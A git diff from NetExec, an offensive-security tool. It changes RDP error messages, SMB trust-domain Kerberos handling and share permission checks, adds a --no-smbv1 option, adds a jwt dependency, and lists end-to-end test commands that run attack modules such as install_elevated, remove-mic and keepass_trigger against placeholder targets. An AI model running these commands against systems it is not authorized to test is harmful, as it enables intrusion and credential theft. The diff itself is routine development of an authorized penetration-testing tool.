dgroup = ldap_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to") diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index 9a8a5a46..d9656694 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -269,7 +269,7 @@ class rdp(connection): if word in str(e): reason = self.rdp_error_status[word] self.logger.fail( - (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {f'({reason})' if reason else str(e)}"), + (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({reason if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN") else "red"), ) elif "Authentication failed!" in str(e): @@ -284,7 +284,7 @@ class rdp(connection): if str(e) == "cannot unpack non-iterable NoneType object": reason = "User valid but cannot connect" self.logger.fail( - (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {f'({reason})' if reason else ''}"), + (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({reason if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False @@ -318,7 +318,7 @@ class rdp(connection): if str(e) == "cannot unpack non-iterable NoneType object": reason = "User valid but cannot connect" self.logger.fail( - (f"{domain}\\{username}:{process_secret(password)} {f'({reason})' if reason else ''}"), + (f"{domain}\\{username}:{process_secret(password)} ({reason if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False @@ -353,7 +353,7 @@ class rdp(connection): reason = "User valid but cannot connect" self.logger.fail( - (f"{domain}\\{username}:{process_secret(ntlm_hash)} {f'({reason})' if reason else ''}"), + (f"{domain}\\{username}:{process_secret(ntlm_hash)} ({reason if reason else str(e)})"), color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index e0440c53..bb3cba17 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -296,9 +296,10 @@ class smb(connection): self.logger.debug(f"Error logging off system: {e}") # DCOM connection with kerberos needed - self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}" + self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.targetDomain}" - if not self.kdcHost and self.domain: + # using kdcHost is buggy on impacket when using trust relation between ad so we kdcHost must stay to none if targetdomain is not equal to domain + if not self.kdcHost and self.domain and self.domain == self.targetDomain: result = self.resolver(self.domain) self.kdcHost = result["host"] if result else None self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") @@ -548,7 +549,6 @@ class smb(connection): preferredDialect=SMB_DIALECT, timeout=self.args.smb_timeout, ) - self.smbv1 = True except OSError as e: if "Connection reset by peer" in str(e): self.logger.info(f"SMBv1 might be disabled on {self.host}") @@ -576,7 +576,6 @@ class smb(connection): self.port, timeout=self.args.smb_timeout, ) - self.smbv1 = False except (Exception, NetBIOSTimeout, OSError) as e: self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}") return False @@ -590,6 +589,8 @@ class smb(connection): :param no_smbv1: If True, it will not try to create a SMBv1 connection """ + no_smbv1 = self.args.no_smbv1 if self.args.no_smbv1 else no_smbv1 + # Initial negotiation if not no_smbv1 and self.smbv1 is None: self.smbv1 = self.create_smbv1_conn() @@ -839,6 +840,7 @@ class smb(connection): temp_dir = ntpath.normpath("\\" + gen_random_string()) temp_file = ntpath.normpath("\\" + gen_random_string() + ".txt") permissions = [] + write_check = bool(not self.args.no_write_check) try: self.logger.debug(f"domain: {self.domain}") @@ -885,8 +887,14 @@ class smb(connection): except SessionError as e: error = get_error_string(e) self.logger.debug(f"Error checking READ access on share {share_name}: {error}") + except (NetBIOSError, UnicodeEncodeError) as e: + write_check = False + share_info["access"].append("UNKNOWN (try '--no-smbv1')") + error = get_error_string(e) + self.logger.debug(f"Error checking READ access on share {share_name}: {error}. This exception always caused by special character in share name with SMBv1") + self.logger.info(f"Skipping WRITE permission check on share {share_name}") - if not self.args.no_write_check: + if write_check: try: self.conn.createDirectory(share_name, temp_dir) write_dir = True diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 5f1875aa..52078a30 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -16,6 +16,7 @@ def proto_args(parser, parents): smb_parser.add_argument("--port", type=int, default=445, help="SMB port") smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share") smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int) + smb_parser.add_argument("--no-smbv1", action="store_true", help="Force to disable SMBv1 in connection") smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file") smb_parser.add_argument("--smb-timeout", help="SMB connection timeout", type=int, default=2) smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator") diff --git a/poetry.lock b/poetry.lock index 95daa11d..d9c08a13 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,4 +1,4 @@ -# This file is automatically @generated by Poetry 1.8.4 and should not be changed by hand. +# This file is automatically @generated by Poetry 1.8.3 and should not be changed by hand. [[package]] name = "aardwolf" @@ -959,6 +959,19 @@ MarkupSafe = ">=2.0" [package.extras] i18n = ["Babel (>=2.7)"] +[[package]] +name = "jwt" +version = "1.3.1" +description = "JSON Web Token library for Python 3." +optional = false +python-versions = ">= 3.6" +files = [ + {file = "jwt-1.3.1-py3-none-any.whl", hash = "sha256:61c9170f92e736b530655e75374681d4fcca9cfa8763ab42be57353b2b203494"}, +] + +[package.dependencies] +cryptography = ">=3.1,<3.4.0 || >3.4.0" + [[package]] name = "ldap3" version = "2.9.1" @@ -2494,4 +2507,4 @@ files = [ [metadata] lock-version = "2.0" python-versions = "^3.10.0" -content-hash = "b102ff826faf73e87da291e242fcdb95294a641c8d8ab8590d9b47f73d6375b6" +content-hash = "9af8efb9eb1cf1026dca8b5276ca23db2dbcdf6865fd61920a9daf1098646193" diff --git a/pyproject.toml b/pyproject.toml index ea39d07c..c365b429 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -44,6 +44,7 @@ bloodhound = "^1.7.2" dploot = "^3.0.3" dsinternals = "^1.2.4" impacket = { git = "https://github.com/fortra/impacket.git" } +jwt = ">=1.3.1" lsassy = ">=3.1.11" masky = "^0.2.0" minikerberos = "^0.4.1" diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index aadf55c7..2e7122cf 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -5,6 +5,7 @@ netexec smb TARGET_HOST --generate-hosts-file /tmp/hostsfile netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex netexec {DNS} smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --no-smbv1 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --filter-shares READ WRITE netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --pass-pol netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --disks @@ -84,6 +85,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M iis netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M install_elevated netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M security-questions +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M remove-mic # currently hanging indefinitely - TODO: look into this #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_discover #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_trigger -o ACTION=ALL USER=LOGIN_USERNAME KEEPASS_CONFIG_PATH="C:\\Users\\LOGIN_USERNAME\\AppData\\Roaming\\KeePass\\KeePass.config.xml"